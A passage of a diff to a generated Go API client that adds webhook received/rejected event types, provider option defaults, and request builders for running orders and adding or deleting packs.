+	Name string `json:"name"`
+}
+
 // PackResponse defines model for PackResponse.
 type PackResponse struct {
-	Name   string  `json:"name"`
-	Path   *string `json:"path,omitempty"`
-	Ref    *string `json:"ref,omitempty"`
-	Source *string `json:"source,omitempty"`
+	Name    string  `json:"name"`
+	Source  *string `json:"source,omitempty"`
+	Version *string `json:"version,omitempty"`
 }
 
 // PaginationInfo defines model for PaginationInfo.
@@ -2310,6 +2360,9 @@ type ProviderCreateInputBody struct {
 	// Name Provider name.
 	Name string `json:"name"`
 
+	// OptionDefaults Provider option defaults (e.g. model). Keys are merged on update.
+	OptionDefaults *map[string]string `json:"option_defaults,omitempty"`
+
 	// OptionsSchemaMerge Options schema merge mode across inheritance chain.
 	OptionsSchemaMerge *string `json:"options_schema_merge,omitempty"`
 
@@ -2482,6 +2535,9 @@ type ProviderUpdateInputBody struct {
 	// Env Environment variables.
 	Env *map[string]string `json:"env,omitempty"`
 
+	// OptionDefaults Provider option defaults (e.g. model). Keys are merged on update.
+	OptionDefaults *map[string]string `json:"option_defaults,omitempty"`
+
 	// OptionsSchemaMerge Options schema merge mode across inheritance chain.
 	OptionsSchemaMerge *string `json:"options_schema_merge,omitempty"`
 
@@ -4709,6 +4765,36 @@ type TypedEventStreamEnvelopeSupervisorStarted struct {
 	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
 }
 
+// TypedEventStreamEnvelopeWebhookReceived defines model for TypedEventStreamEnvelopeWebhookReceived.
+type TypedEventStreamEnvelopeWebhookReceived struct {
+	Actor     string                   `json:"actor"`
+	Message   *string                  `json:"message,omitempty"`
+	Payload   WebhookReceivedPayload   `json:"payload"`
+	RunId     *string                  `json:"run_id,omitempty"`
+	Seq       int64                    `json:"seq"`
+	SessionId *string                  `json:"session_id,omitempty"`
+	StepId    *string                  `json:"step_id,omitempty"`
+	Subject   *string                  `json:"subject,omitempty"`
+	Ts        time.Time                `json:"ts"`
+	Type      string                   `json:"type"`
+	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
+}
+
+// TypedEventStreamEnvelopeWebhookRejected defines model for TypedEventStreamEnvelopeWebhookRejected.
+type TypedEventStreamEnvelopeWebhookRejected struct {
+	Actor     string                   `json:"actor"`
+	Message   *string                  `json:"message,omitempty"`
+	Payload   WebhookRejectedPayload   `json:"payload"`
+	RunId     *string                  `json:"run_id,omitempty"`
+	Seq       int64                    `json:"seq"`
+	SessionId *string                  `json:"session_id,omitempty"`
+	StepId    *string                  `json:"step_id,omitempty"`
+	Subject   *string                  `json:"subject,omitempty"`
+	Ts        time.Time                `json:"ts"`
+	Type      string                   `json:"type"`
+	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
+}
+
 // TypedEventStreamEnvelopeWorkerOperation defines model for TypedEventStreamEnvelopeWorkerOperation.
 type TypedEventStreamEnvelopeWorkerOperation struct {
 	Actor     string                      `json:"actor"`
@@ -6009,6 +6095,38 @@ type TypedTaggedEventStreamEnvelopeSupervisorStarted struct {
 	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
 }
 
+// TypedTaggedEventStreamEnvelopeWebhookReceived defines model for TypedTaggedEventStreamEnvelopeWebhookReceived.
+type TypedTaggedEventStreamEnvelopeWebhookReceived struct {
+	Actor     string                   `json:"actor"`
+	City      string                   `json:"city"`
+	Message   *string                  `json:"message,omitempty"`
+	Payload   WebhookReceivedPayload   `json:"payload"`
+	RunId     *string                  `json:"run_id,omitempty"`
+	Seq       int64                    `json:"seq"`
+	SessionId *string                  `json:"session_id,omitempty"`
+	StepId    *string                  `json:"step_id,omitempty"`
+	Subject   *string                  `json:"subject,omitempty"`
+	Ts        time.Time                `json:"ts"`
+	Type      string                   `json:"type"`
+	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
+}
+
+// TypedTaggedEventStreamEnvelopeWebhookRejected defines model for TypedTaggedEventStreamEnvelopeWebhookRejected.
+type TypedTaggedEventStreamEnvelopeWebhookRejected struct {
+	Actor     string                   `json:"actor"`
+	City      string                   `json:"city"`
+	Message   *string                  `json:"message,omitempty"`
+	Payload   WebhookRejectedPayload   `json:"payload"`
+	RunId     *string                  `json:"run_id,omitempty"`
+	Seq       int64                    `json:"seq"`
+	SessionId *string                  `json:"session_id,omitempty"`
+	StepId    *string                  `json:"step_id,omitempty"`
+	Subject   *string                  `json:"subject,omitempty"`
+	Ts        time.Time                `json:"ts"`
+	Type      string                   `json:"type"`
+	Workflow  *WorkflowEventProjection `json:"workflow,omitempty"`
+}
+
 // TypedTaggedEventStreamEnvelopeWorkerOperation defines model for TypedTaggedEventStreamEnvelopeWorkerOperation.
 type TypedTaggedEventStreamEnvelopeWorkerOperation struct {
 	Actor     string                      `json:"actor"`
@@ -6031,6 +6149,72 @@ type UnboundEventPayload struct {
 	SessionId string `json:"session_id"`
 }
 
+// WebhookReceivedPayload defines model for WebhookReceivedPayload.
+type WebhookReceivedPayload struct {
+	// BodySize Raw request body size in bytes (never the body itself).
+	BodySize int64 `json:"body_size"`
+
+	// DedupId Provider delivery id used for dedup (or a body hash when the scheme carries none).
+	DedupId *string `json:"dedup_id,omitempty"`
+
+	// Deduped True when this delivery was a duplicate and was NOT dispatched.
+	Deduped bool `json:"deduped"`
+
+	// Dispatched True when an order was launched for this delivery.
+	Dispatched bool `json:"dispatched"`
+
+	// EventType Provider event type surfaced by the scheme (e.g. pull_request).
+	EventType *string `json:"event_type,omitempty"`
+
+	// Matched True when a [[webhook.rule]] matched the delivery.
+	Matched bool `json:"matched"`
+
+	// Order Target order name when a rule matched.
+	Order *string `json:"order,omitempty"`
+
+	// Rig Target rig when the matched rule scoped one.
+	Rig *string `json:"rig,omitempty"`
+
+	// RuleIndex Matched rule index, or -1 when no rule matched.
+	RuleIndex int64 `json:"rule_index"`
+
+	// Scheme Verifier scheme (github-hmac-sha256, slack-v0, …).
+	Scheme *string `json:"scheme,omitempty"`
+
+	// ScopedName Rig-qualified name of the fired order.
+	ScopedName *string `json:"scoped_name,omitempty"`
+
+	// TrackingId Tracking bead id for the dispatch, when fired.
+	TrackingId *string `json:"tracking_id,omitempty"`
+
+	// Webhook Configured webhook name that received the delivery.
+	Webhook string `json:"webhook"`
+}
+
+// WebhookRejectedPayload defines model for WebhookRejectedPayload.
+type WebhookRejectedPayload struct {
+	// BodySize Raw request body size in bytes, when the body was read.
+	BodySize *int64 `json:"body_size,omitempty"`
+
+	// DedupId Provider delivery id, when known.
+	DedupId *string `json:"dedup_id,omitempty"`
+
+	// EventType Provider event type, when known at the rejection point.
+	EventType *string `json:"event_type,omitempty"`
+
+	// Reason Rejection reason enum (perimeter_denied, read_only, rate_limited, operator_fault, verify_failed, bad_payload, dispatch_refused, …).
+	Reason string `json:"reason"`
+
+	// Scheme Verifier scheme, when the webhook resolved.
+	Scheme *string `json:"scheme,omitempty"`
+
+	// Status HTTP status returned to the sender.
+	Status *int64 `json:"status,omitempty"`
+
+	// Webhook Configured webhook name (empty only for unresolved routes, which are not evented).
+	Webhook string `json:"webhook"`
+}
+
 // WorkerOperationEventPayload defines model for WorkerOperationEventPayload.
 type WorkerOperationEventPayload struct {
 	// AgentName Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).
@@ -6790,6 +6974,12 @@ type PostV0CityByCityNameOrderByNameEnableParams struct {
 	XGCRequest string `json:"X-GC-Request"`
 }
 
+// PostV0CityByCityNameOrderByNameRunParams defines parameters for PostV0CityByCityNameOrderByNameRun.
+type PostV0CityByCityNameOrderByNameRunParams struct {
+	// XGCRequest Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.
+	XGCRequest string `json:"X-GC-Request"`
+}
+
 // GetV0CityByCityNameOrdersCheckParams defines parameters for GetV0CityByCityNameOrdersCheck.
 type GetV0CityByCityNameOrdersCheckParams struct {
 	// Fresh Bypass cached order-check responses and cached order history.
@@ -6820,6 +7010,18 @@ type GetV0CityByCityNameOrdersHistoryParams struct {
 	Before *string `form:"before,omitempty" json:"before,omitempty"`
 }
 
+// AddPackParams defines parameters for AddPack.
+type AddPackParams struct {
+	// XGCRequest Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.
+	XGCRequest string `json:"X-GC-Request"`
+}
+
+// DeleteV0CityByCityNamePacksByNameParams defines parameters for DeleteV0CityByCityNamePacksByName.
+type DeleteV0CityByCityNamePacksByNameParams struct {
+	// XGCRequest Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.
+	XGCRequest string `json:"X-GC-Request"`
+}
+
 // DeleteV0CityByCityNamePatchesAgentByBaseParams defines parameters for DeleteV0CityByCityNamePatchesAgentByBase.
 type DeleteV0CityByCityNamePatchesAgentByBaseParams struct {
 	// XGCRequest Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.
@@ -7237,6 +7439,12 @@ type SendMailJSONRequestBody = MailSendInputBody
 // ReplyMailJSONRequestBody defines body for ReplyMail for application/json ContentType.
 type ReplyMailJSONRequestBody = MailReplyInputBody
 
+// PostV0CityByCityNameOrderByNameRunJSONRequestBody defines body for PostV0CityByCityNameOrderByNameRun for application/json ContentType.
+type PostV0CityByCityNameOrderByNameRunJSONRequestBody = OrderRunInputBody
+
+// AddPackJSONRequestBody defines body for AddPack for application/json ContentType.
+type AddPackJSONRequestBody = PackAddInputBody
+
 // PutV0CityByCityNamePatchesAgentsJSONRequestBody defines body for PutV0CityByCityNamePatchesAgents for application/json ContentType.
 type PutV0CityByCityNamePatchesAgentsJSONRequestBody = AgentPatchSetInputBody
 
@@ -8504,6 +8712,58 @@ func (t *EventPayload) MergeUnboundEventPayload(v UnboundEventPayload) error {
 	return err
 }
 
+// AsWebhookReceivedPayload returns the union data inside the EventPayload as a WebhookReceivedPayload
+func (t EventPayload) AsWebhookReceivedPayload() (WebhookReceivedPayload, error) {
+	var body WebhookReceivedPayload
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromWebhookReceivedPayload overwrites any union data inside the EventPayload as the provided WebhookReceivedPayload
+func (t *EventPayload) FromWebhookReceivedPayload(v WebhookReceivedPayload) error {
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeWebhookReceivedPayload performs a merge with any union data inside the EventPayload, using the provided WebhookReceivedPayload
+func (t *EventPayload) MergeWebhookReceivedPayload(v WebhookReceivedPayload) error {
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
+// AsWebhookRejectedPayload returns the union data inside the EventPayload as a WebhookRejectedPayload
+func (t EventPayload) AsWebhookRejectedPayload() (WebhookRejectedPayload, error) {
+	var body WebhookRejectedPayload
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromWebhookRejectedPayload overwrites any union data inside the EventPayload as the provided WebhookRejectedPayload
+func (t *EventPayload) FromWebhookRejectedPayload(v WebhookRejectedPayload) error {
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeWebhookRejectedPayload performs a merge with any union data inside the EventPayload, using the provided WebhookRejectedPayload
+func (t *EventPayload) MergeWebhookRejectedPayload(v WebhookRejectedPayload) error {
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
 // AsWorkerOperationEventPayload returns the union data inside the EventPayload as a WorkerOperationEventPayload
 func (t EventPayload) AsWorkerOperationEventPayload() (WorkerOperationEventPayload, error) {
 	var body WorkerOperationEventPayload
@@ -10840,6 +11100,62 @@ func (t *TypedEventStreamEnvelope) MergeTypedEventStreamEnvelopeSupervisorStarte
 	return err
 }
 
+// AsTypedEventStreamEnvelopeWebhookReceived returns the union data inside the TypedEventStreamEnvelope as a TypedEventStreamEnvelopeWebhookReceived
+func (t TypedEventStreamEnvelope) AsTypedEventStreamEnvelopeWebhookReceived() (TypedEventStreamEnvelopeWebhookReceived, error) {
+	var body TypedEventStreamEnvelopeWebhookReceived
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromTypedEventStreamEnvelopeWebhookReceived overwrites any union data inside the TypedEventStreamEnvelope as the provided TypedEventStreamEnvelopeWebhookReceived
+func (t *TypedEventStreamEnvelope) FromTypedEventStreamEnvelopeWebhookReceived(v TypedEventStreamEnvelopeWebhookReceived) error {
+	v.Type = "webhook.received"
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeTypedEventStreamEnvelopeWebhookReceived performs a merge with any union data inside the TypedEventStreamEnvelope, using the provided TypedEventStreamEnvelopeWebhookReceived
+func (t *TypedEventStreamEnvelope) MergeTypedEventStreamEnvelopeWebhookReceived(v TypedEventStreamEnvelopeWebhookReceived) error {
+	v.Type = "webhook.received"
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
+// AsTypedEventStreamEnvelopeWebhookRejected returns the union data inside the TypedEventStreamEnvelope as a TypedEventStreamEnvelopeWebhookRejected
+func (t TypedEventStreamEnvelope) AsTypedEventStreamEnvelopeWebhookRejected() (TypedEventStreamEnvelopeWebhookRejected, error) {
+	var body TypedEventStreamEnvelopeWebhookRejected
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromTypedEventStreamEnvelopeWebhookRejected overwrites any union data inside the TypedEventStreamEnvelope as the provided TypedEventStreamEnvelopeWebhookRejected
+func (t *TypedEventStreamEnvelope) FromTypedEventStreamEnvelopeWebhookRejected(v TypedEventStreamEnvelopeWebhookRejected) error {
+	v.Type = "webhook.rejected"
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeTypedEventStreamEnvelopeWebhookRejected performs a merge with any union data inside the TypedEventStreamEnvelope, using the provided TypedEventStreamEnvelopeWebhookRejected
+func (t *TypedEventStreamEnvelope) MergeTypedEventStreamEnvelopeWebhookRejected(v TypedEventStreamEnvelopeWebhookRejected) error {
+	v.Type = "webhook.rejected"
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
 // AsTypedEventStreamEnvelopeWorkerOperation returns the union data inside the TypedEventStreamEnvelope as a TypedEventStreamEnvelopeWorkerOperation
 func (t TypedEventStreamEnvelope) AsTypedEventStreamEnvelopeWorkerOperation() (TypedEventStreamEnvelopeWorkerOperation, error) {
 	var body TypedEventStreamEnvelopeWorkerOperation
@@ -11070,6 +11386,10 @@ func (t TypedEventStreamEnvelope) ValueByDiscriminator() (interface{}, error) {
 		return t.AsTypedEventStreamEnvelopeSupervisorShutdownRequested()
 	case "supervisor.started":
 		return t.AsTypedEventStreamEnvelopeSupervisorStarted()
+	case "webhook.received":
+		return t.AsTypedEventStreamEnvelopeWebhookReceived()
+	case "webhook.rejected":
+		return t.AsTypedEventStreamEnvelopeWebhookRejected()
 	case "worker.operation":
 		return t.AsTypedEventStreamEnvelopeWorkerOperation()
 	default:
@@ -13299,6 +13619,62 @@ func (t *TypedTaggedEventStreamEnvelope) MergeTypedTaggedEventStreamEnvelopeSupe
 	return err
 }
 
+// AsTypedTaggedEventStreamEnvelopeWebhookReceived returns the union data inside the TypedTaggedEventStreamEnvelope as a TypedTaggedEventStreamEnvelopeWebhookReceived
+func (t TypedTaggedEventStreamEnvelope) AsTypedTaggedEventStreamEnvelopeWebhookReceived() (TypedTaggedEventStreamEnvelopeWebhookReceived, error) {
+	var body TypedTaggedEventStreamEnvelopeWebhookReceived
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromTypedTaggedEventStreamEnvelopeWebhookReceived overwrites any union data inside the TypedTaggedEventStreamEnvelope as the provided TypedTaggedEventStreamEnvelopeWebhookReceived
+func (t *TypedTaggedEventStreamEnvelope) FromTypedTaggedEventStreamEnvelopeWebhookReceived(v TypedTaggedEventStreamEnvelopeWebhookReceived) error {
+	v.Type = "webhook.received"
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeTypedTaggedEventStreamEnvelopeWebhookReceived performs a merge with any union data inside the TypedTaggedEventStreamEnvelope, using the provided TypedTaggedEventStreamEnvelopeWebhookReceived
+func (t *TypedTaggedEventStreamEnvelope) MergeTypedTaggedEventStreamEnvelopeWebhookReceived(v TypedTaggedEventStreamEnvelopeWebhookReceived) error {
+	v.Type = "webhook.received"
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
+// AsTypedTaggedEventStreamEnvelopeWebhookRejected returns the union data inside the TypedTaggedEventStreamEnvelope as a TypedTaggedEventStreamEnvelopeWebhookRejected
+func (t TypedTaggedEventStreamEnvelope) AsTypedTaggedEventStreamEnvelopeWebhookRejected() (TypedTaggedEventStreamEnvelopeWebhookRejected, error) {
+	var body TypedTaggedEventStreamEnvelopeWebhookRejected
+	err := json.Unmarshal(t.union, &body)
+	return body, err
+}
+
+// FromTypedTaggedEventStreamEnvelopeWebhookRejected overwrites any union data inside the TypedTaggedEventStreamEnvelope as the provided TypedTaggedEventStreamEnvelopeWebhookRejected
+func (t *TypedTaggedEventStreamEnvelope) FromTypedTaggedEventStreamEnvelopeWebhookRejected(v TypedTaggedEventStreamEnvelopeWebhookRejected) error {
+	v.Type = "webhook.rejected"
+	b, err := json.Marshal(v)
+	t.union = b
+	return err
+}
+
+// MergeTypedTaggedEventStreamEnvelopeWebhookRejected performs a merge with any union data inside the TypedTaggedEventStreamEnvelope, using the provided TypedTaggedEventStreamEnvelopeWebhookRejected
+func (t *TypedTaggedEventStreamEnvelope) MergeTypedTaggedEventStreamEnvelopeWebhookRejected(v TypedTaggedEventStreamEnvelopeWebhookRejected) error {
+	v.Type = "webhook.rejected"
+	b, err := json.Marshal(v)
+	if err != nil {
+		return err
+	}
+
+	merged, err := runtime.JSONMerge(t.union, b)
+	t.union = merged
+	return err
+}
+
 // AsTypedTaggedEventStreamEnvelopeWorkerOperation returns the union data inside the TypedTaggedEventStreamEnvelope as a TypedTaggedEventStreamEnvelopeWorkerOperation
 func (t TypedTaggedEventStreamEnvelope) AsTypedTaggedEventStreamEnvelopeWorkerOperation() (TypedTaggedEventStreamEnvelopeWorkerOperation, error) {
 	var body TypedTaggedEventStreamEnvelopeWorkerOperation
@@ -13529,6 +13905,10 @@ func (t TypedTaggedEventStreamEnvelope) ValueByDiscriminator() (interface{}, err
 		return t.AsTypedTaggedEventStreamEnvelopeSupervisorShutdownRequested()
 	case "supervisor.started":
 		return t.AsTypedTaggedEventStreamEnvelopeSupervisorStarted()
+	case "webhook.received":
+		return t.AsTypedTaggedEventStreamEnvelopeWebhookReceived()
+	case "webhook.rejected":
+		return t.AsTypedTaggedEventStreamEnvelopeWebhookRejected()
 	case "worker.operation":
 		return t.AsTypedTaggedEventStreamEnvelopeWorkerOperation()
 	default:
@@ -13935,6 +14315,11 @@ type ClientInterface interface {
 	// PostV0CityByCityNameOrderByNameEnable request
 	PostV0CityByCityNameOrderByNameEnable(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameEnableParams, reqEditors ...RequestEditorFn) (*http.Response, error)
 
+	// PostV0CityByCityNameOrderByNameRunWithBody request with any body
+	PostV0CityByCityNameOrderByNameRunWithBody(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error)
+
+	PostV0CityByCityNameOrderByNameRun(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, body PostV0CityByCityNameOrderByNameRunJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error)
+
 	// GetV0CityByCityNameOrders request
 	GetV0CityByCityNameOrders(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*http.Response, error)
 
@@ -13950,6 +14335,14 @@ type ClientInterface interface {
 	// GetV0CityByCityNamePacks request
 	GetV0CityByCityNamePacks(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*http.Response, error)
 
+	// AddPackWithBody request with any body
+	AddPackWithBody(ctx context.Context, cityName string, params *AddPackParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error)
+
+	AddPack(ctx context.Context, cityName string, params *AddPackParams, body AddPackJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error)
+
+	// DeleteV0CityByCityNamePacksByName request
+	DeleteV0CityByCityNamePacksByName(ctx context.Context, cityName string, name string, params *DeleteV0CityByCityNamePacksByNameParams, reqEditors ...RequestEditorFn) (*http.Response, error)
+
 	// DeleteV0CityByCityNamePatchesAgentByBase request
 	DeleteV0CityByCityNamePatchesAgentByBase(ctx context.Context, cityName string, base string, params *DeleteV0CityByCityNamePatchesAgentByBaseParams, reqEditors ...RequestEditorFn) (*http.Response, error)
 
@@ -15529,6 +15922,30 @@ func (c *Client) PostV0CityByCityNameOrderByNameEnable(ctx context.Context, city
 	return c.Client.Do(req)
 }
 
+func (c *Client) PostV0CityByCityNameOrderByNameRunWithBody(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) {
+	req, err := NewPostV0CityByCityNameOrderByNameRunRequestWithBody(c.Server, cityName, name, params, contentType, body)
+	if err != nil {
+		return nil, err
+	}
+	req = req.WithContext(ctx)
+	if err := c.applyEditors(ctx, req, reqEditors); err != nil {
+		return nil, err
+	}
+	return c.Client.Do(req)
+}
+
+func (c *Client) PostV0CityByCityNameOrderByNameRun(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, body PostV0CityByCityNameOrderByNameRunJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) {
+	req, err := NewPostV0CityByCityNameOrderByNameRunRequest(c.Server, cityName, name, params, body)
+	if err != nil {
+		return nil, err
+	}
+	req = req.WithContext(ctx)
+	if err := c.applyEditors(ctx, req, reqEditors); err != nil {
+		return nil, err
+	}
+	return c.Client.Do(req)
+}
+
 func (c *Client) GetV0CityByCityNameOrders(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*http.Response, error) {
 	req, err := NewGetV0CityByCityNameOrdersRequest(c.Server, cityName)
 	if err != nil {
@@ -15589,6 +16006,42 @@ func (c *Client) GetV0CityByCityNamePacks(ctx context.Context, cityName string,
 	return c.Client.Do(req)
 }
 
+func (c *Client) AddPackWithBody(ctx context.Context, cityName string, params *AddPackParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) {
+	req, err := NewAddPackRequestWithBody(c.Server, cityName, params, contentType, body)
+	if err != nil {
+		return nil, err
+	}
+	req = req.WithContext(ctx)
+	if err := c.applyEditors(ctx, req, reqEditors); err != nil {
+		return nil, err
+	}
+	return c.Client.Do(req)
+}
+
+func (c *Client) AddPack(ctx context.Context, cityName string, params *AddPackParams, body AddPackJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) {
+	req, err := NewAddPackRequest(c.Server, cityName, params, body)
+	if err != nil {
+		return nil, err
+	}
+	req = req.WithContext(ctx)
+	if err := c.applyEditors(ctx, req, reqEditors); err != nil {
+		return nil, err
+	}
+	return c.Client.Do(req)
+}
+
+func (c *Client) DeleteV0CityByCityNamePacksByName(ctx context.Context, cityName string, name string, params *DeleteV0CityByCityNamePacksByNameParams, reqEditors ...RequestEditorFn) (*http.Response, error) {
+	req, err := NewDeleteV0CityByCityNamePacksByNameRequest(c.Server, cityName, name, params)
+	if err != nil {
+		return nil, err
+	}
+	req = req.WithContext(ctx)
+	if err := c.applyEditors(ctx, req, reqEditors); err != nil {
+		return nil, err
+	}
+	return c.Client.Do(req)
+}
+
 func (c *Client) DeleteV0CityByCityNamePatchesAgentByBase(ctx context.Context, cityName string, base string, params *DeleteV0CityByCityNamePatchesAgentByBaseParams, reqEditors ...RequestEditorFn) (*http.Response, error) {
 	req, err := NewDeleteV0CityByCityNamePatchesAgentByBaseRequest(c.Server, cityName, base, params)
 	if err != nil {
@@ -22287,6 +22740,73 @@ func NewPostV0CityByCityNameOrderByNameEnableRequest(server string, cityName str
 	return req, nil
 }
 
+// NewPostV0CityByCityNameOrderByNameRunRequest calls the generic PostV0CityByCityNameOrderByNameRun builder with application/json body
+func NewPostV0CityByCityNameOrderByNameRunRequest(server string, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, body PostV0CityByCityNameOrderByNameRunJSONRequestBody) (*http.Request, error) {
+	var bodyReader io.Reader
+	buf, err := json.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+	bodyReader = bytes.NewReader(buf)
+	return NewPostV0CityByCityNameOrderByNameRunRequestWithBody(server, cityName, name, params, "application/json", bodyReader)
+}
+
+// NewPostV0CityByCityNameOrderByNameRunRequestWithBody generates requests for PostV0CityByCityNameOrderByNameRun with any type of body
+func NewPostV0CityByCityNameOrderByNameRunRequestWithBody(server string, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, contentType string, body io.Reader) (*http.Request, error) {
+	var err error
+
+	var pathParam0 string
+
+	pathParam0, err = runtime.StyleParamWithOptions("simple", false, "cityName", cityName, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationPath, Type: "string", Format: ""})
+	if err != nil {
+		return nil, err
+	}
+
+	var pathParam1 string
+
+	pathParam1, err = runtime.StyleParamWithOptions("simple", false, "name", name, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationPath, Type: "string", Format: ""})
+	if err != nil {
+		return nil, err
+	}
+
+	serverURL, err := url.Parse(server)
+	if err != nil {
+		return nil, err
+	}
+
+	operationPath := fmt.Sprintf("/v0/city/%s/order/%s/run", pathParam0, pathParam1)
+	if operationPath[0] == '/' {
+		operationPath = "." + operationPath
+	}
+
+	queryURL, err := serverURL.Parse(operationPath)
+	if err != nil {
+		return nil, err
+	}
+
+	req, err := http.NewRequest("POST", queryURL.String(), body)
+	if err != nil {
+		return nil, err
+	}
+
+	req.Header.Add("Content-Type", contentType)
+
+	if params != nil {
+
+		var headerParam0 string
+
+		headerParam0, err = runtime.StyleParamWithOptions("simple", false, "X-GC-Request", params.XGCRequest, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationHeader, Type: "string", Format: ""})
+		if err != nil {
+			return nil, err
+		}
+
+		req.Header.Set("X-GC-Request", headerParam0)
+
+	}
+
+	return req, nil
+}
+
 // NewGetV0CityByCityNameOrdersRequest generates requests for GetV0CityByCityNameOrders
 func NewGetV0CityByCityNameOrdersRequest(server string, cityName string) (*http.Request, error) {
 	var err error
@@ -22583,6 +23103,120 @@ func NewGetV0CityByCityNamePacksRequest(server string, cityName string) (*http.R
 	return req, nil
 }
 
+// NewAddPackRequest calls the generic AddPack builder with application/json body
+func NewAddPackRequest(server string, cityName string, params *AddPackParams, body AddPackJSONRequestBody) (*http.Request, error) {
+	var bodyReader io.Reader
+	buf, err := json.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+	bodyReader = bytes.NewReader(buf)
+	return NewAddPackRequestWithBody(server, cityName, params, "application/json", bodyReader)
+}
+
+// NewAddPackRequestWithBody generates requests for AddPack with any type of body
+func NewAddPackRequestWithBody(server string, cityName string, params *AddPackParams, contentType string, body io.Reader) (*http.Request, error) {
+	var err error
+
+	var pathParam0 string
+
+	pathParam0, err = runtime.StyleParamWithOptions("simple", false, "cityName", cityName, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationPath, Type: "string", Format: ""})
+	if err != nil {
+		return nil, err
+	}
+
+	serverURL, err := url.Parse(server)
+	if err != nil {
+		return nil, err
+	}
+
+	operationPath := fmt.Sprintf("/v0/city/%s/packs", pathParam0)
+	if operationPath[0] == '/' {
+		operationPath = "." + operationPath
+	}
+
+	queryURL, err := serverURL.Parse(operationPath)
+	if err != nil {
+		return nil, err
+	}
+
+	req, err := http.NewRequest("POST", queryURL.String(), body)
+	if err != nil {
+		return nil, err
+	}
+
+	req.Header.Add("Content-Type", contentType)
+
+	if params != nil {
+
+		var headerParam0 string
+
+		headerParam0, err = runtime.StyleParamWithOptions("simple", false, "X-GC-Request", params.XGCRequest, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationHeader, Type: "string", Format: ""})
+		if err != nil {
+			return nil, err
+		}
+
+		req.Header.Set("X-GC-Request", headerParam0)
+
+	}
+
+	return req, nil
+}
+
+// NewDeleteV0CityByCityNamePacksByNameRequest generates requests for DeleteV0CityByCityNamePacksByName
+func NewDeleteV0CityByCityNamePacksByNameRequest(server string, cityName string, name string, params *DeleteV0CityByCityNamePacksByNameParams) (*http.Request, error) {
+	var err error
+
+	var pathParam0 string
+
+	pathParam0, err = runtime.StyleParamWithOptions("simple", false, "cityName", cityName, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationPath, Type: "string", Format: ""})
+	if err != nil {
+		return nil, err
+	}
+
+	var pathParam1 string
+
+	pathParam1, err = runtime.StyleParamWithOptions("simple", false, "name", name, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationPath, Type: "string", Format: ""})
+	if err != nil {
+		return nil, err
+	}
+
+	serverURL, err := url.Parse(server)
+	if err != nil {
+		return nil, err
+	}
+
+	operationPath := fmt.Sprintf("/v0/city/%s/packs/%s", pathParam0, pathParam1)
+	if operationPath[0] == '/' {
+		operationPath = "." + operationPath
+	}
+
+	queryURL, err := serverURL.Parse(operationPath)
+	if err != nil {
+		return nil, err
+	}
+
+	req, err := http.NewRequest("DELETE", queryURL.String(), nil)
+	if err != nil {
+		return nil, err
+	}
+
+	if params != nil {
+
+		var headerParam0 string
+
